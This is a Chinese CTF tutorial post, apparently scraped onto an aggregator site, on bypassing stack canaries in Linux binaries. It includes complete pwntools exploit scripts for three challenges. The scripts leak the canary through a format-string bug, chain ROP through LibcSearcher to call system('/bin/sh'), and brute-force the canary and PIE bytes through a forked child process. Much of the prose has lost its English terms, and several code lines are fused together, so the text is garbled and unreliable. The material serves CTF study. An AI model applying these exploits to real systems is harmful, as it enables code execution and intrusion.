首页 >> 大全

canary??!!

2023-08-01 大全 19 作者:考证青年

??!! 介绍: 在函数调用发生时,向栈帧内压入一个额外的随机DWORD,这个随机数被称为“”如果使用IDA反汇编的话,您可能会看到IDA会将这个随机数标注为“ ”,在部分书籍的叙述中会用 来引用这种随机数位于EBP之前,系统还将在内存区域中存放一个的副本当栈中发生溢出时,将被首先淹没,之后才是EBP和返回地址在函数返回之前,系统将执行一个额外的安全验证操作,被称作“ check”在 check过程中,系统将比较栈帧中原先存放的和在内存中的副本,如果两者不符合,说明栈帧中的已被破坏,即栈中发生了溢出当检测到栈中发生了溢出时,系统将进入异常处理流程,函数不会被正常返回,ret指令也不会被执行 绕过方式

一般有两种利用方式 1.爆破 2.如果存在字符格式化漏洞可以输出并利用溢出覆盖从而达到绕过

绕过案例1——泄露并在覆盖 [](在线评测 ())

​ 泄露并在覆盖

检查程序

两次输入点,放入IDA看一下。

gitf函数很明显有格式话字串溢出,可以利用去泄露。将泄露的去覆写在buf上,从而达到目的

那么现在,我们只需要一个(/bin/sh)就可以达到目的了。

当我检查字符串时,并没有/bin/sh和函数plt表项,所以需要我泄露libc,去构建(/bin/sh)

好,我们所有的大致思路有了,接下来,就是细节上功夫了。

泄露

我们需要通过gdb调试(需要gdb与联合调试,如果gdb没有命令的或,需要通过下面连接去调整。

gdb+联合调试

所以构造的第一份为

%7$p  #但是我试过一个$p也可以泄露canary,需要大佬知道一下

接下来就是,泄露libc基址和构造ROP链

泄露puts函数地址

payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +  p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.sendline(payload1)
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))

执行(/bin/sh)

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
payload2 =  b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
p.recv()
p.sendline(payload2)

所以exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(os = 'linux',arch = 'amd64')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('bjd')
# p = remote('node4.buuoj.cn',26896)
# p.recv()
# gdb.attach(p)p.recvuntil(b"I'll give u some gift to help u!\n")
gdb.attach(p)
pause()
# p.sendline(b'aaaaa')
p.sendline(b'$p')
# p.recvuntil(b'0x')	
canary = int(p.recv(18)[2:],16)
print(hex(canary))elf = ELF('bjd')
pop_rdi_ret =0x0000000000400993
pop_rsi_r15 =0x0000000000400991
ret =0x00000000004005f9
# main_addr = 0x04008DA
vuln_addr = elf.symbols['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +  p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.sendline(payload1)
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')payload2 =  b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
p.recv()
p.sendline(payload2)
p.interactive()

ISCC——三个愿望

开启了保护

直接ida

main

分析下哈,当程序进入到里,会有一个随机数判断,所以第一步我们需要去覆盖这个随机数。绕过if判断,进入,在这里面很明显会有一个保护,同时也有一个格式化字符串漏洞,利用格式化字符串去泄露,然后利用泄露的去覆写 的s的。并且程序中有后门函数,将返回地址改到后门即可

去找一下的距离格式化字符串的偏移

$s 

所以就直接放exp出来了:

from pwn import *
from ctypes import *
context.log_level = 'debug'
debug = 1
if(debug):p = process('./wi')
else:p = remote('',)libc = cdll.LoadLibrary('libc.so.6')p.recvuntil('make your first wish\n')
p.sendline(b'a'*14)
# payload = b'a'*2+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)data = libc.rand(libc.srand(0))
num = str(data % 9+1)
p.recvuntil('give me a number!\n')
p.sendline(num)
gdb.attach(p)
pause()
# payload1 = b'aaaaa'
payload1 =  b'$p'
p.sendline(payload1)
p.recvuntil('your second wish!\n')
# p.recvuntil('0x')
canary = int(p.recv(18)[2:],16)
print(canary)
p.recvuntil("Please give me a number!")
p.sendline(str(2))
p.recvuntil("ow you can make your final wish!")
p.sendline(b'a'*0x28+p64(canary)+b'a'*8+p64(0x4011f5))
p.interactive()

绕过案列2——逐字节爆破(有pie

[[CISCN 2023 初赛]]([CISCN 2023 初赛] | ())

这题既然有pie的话,那就先介绍一下pie吧。

Linux 下的PIE与ASLR

由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用。因为ASLR技术的出现,攻击者在ROP或者向进程中写数据时不得不先进行leak,或者干脆放弃堆栈,转向bss或者其他地址固定的内存块。

而PIE(- , 地址无关可执行文件)技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的也失效。

ASLR则主要负责其他内存的地址随机化。

PIE如何作用于ELF可执行文件

ELF程序运行的时候是cpu在硬盘上调入加载进内存的,这个时候程序就有了内存地址空间。

ELF file format:
+---------------+
|  File header  | # 文件头保存每个段类型和长度
+---------------+ 
| .text section | # 代码段 存放代码和指令
+---------------+
| .data section | # 数据段 
+---------------+
| .bss section  | # bss段 存放未初始化的全局变量和静态变量,一般可读写
+---------------+ # 是存放shellcode的好地方。
|      ...      |
+---------------+
|  xxx section  |# 还有字符串段、符号表段行号表段等
+---------------+

保护开的很全面哈

看下ida

main

这是一个子线程覆盖,首先fork一个子线程,然后在子线程内进行操作,这里我们需要知道的是,fork操作中子线程和主线程用的是一个.并且程序中这一个循环还不会终止,这就跟便于我们对的爆破,通过下面的汇编会更清晰的了解子线程和父线程的关系。

总之,通过fork,我们可以逐字节爆破。

from pwn import *
elf = ELF('./ser')
p = process('./ser')
#p=remote('',)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):# 32位程序爆3.for i in range(256):p.send(b'a'*0x68 + canary + p8(i))a = p.recvuntil("welcome\n")if b"fun" in a:canary += p8(i)print(b"canary: " + canary)break               

接下来爆Pie。

for i in range(16):payload = b'a'*(0x68)+canary +b'a'*(0x8)+b'\x31'+p8((i<<4)+2) #这种方法爆破感觉不是很合适,这里p8的范围是2-242也就是0x0000-0xf200,如果地址是0xf700啥的会不会有问题?或许类似下面这种跟合适?#list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]p.send(payload)a = p.recv()if b'flag' in a:print(a)break
p.interactive()
# 来源Hyrink师傅

关于我们

最火推荐

小编推荐

联系我们


版权声明:本站内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 88@qq.com 举报,一经查实,本站将立刻删除。备案号:桂ICP备2021009421号
Powered By Z-BlogPHP.
复制成功
微信号:
我知道了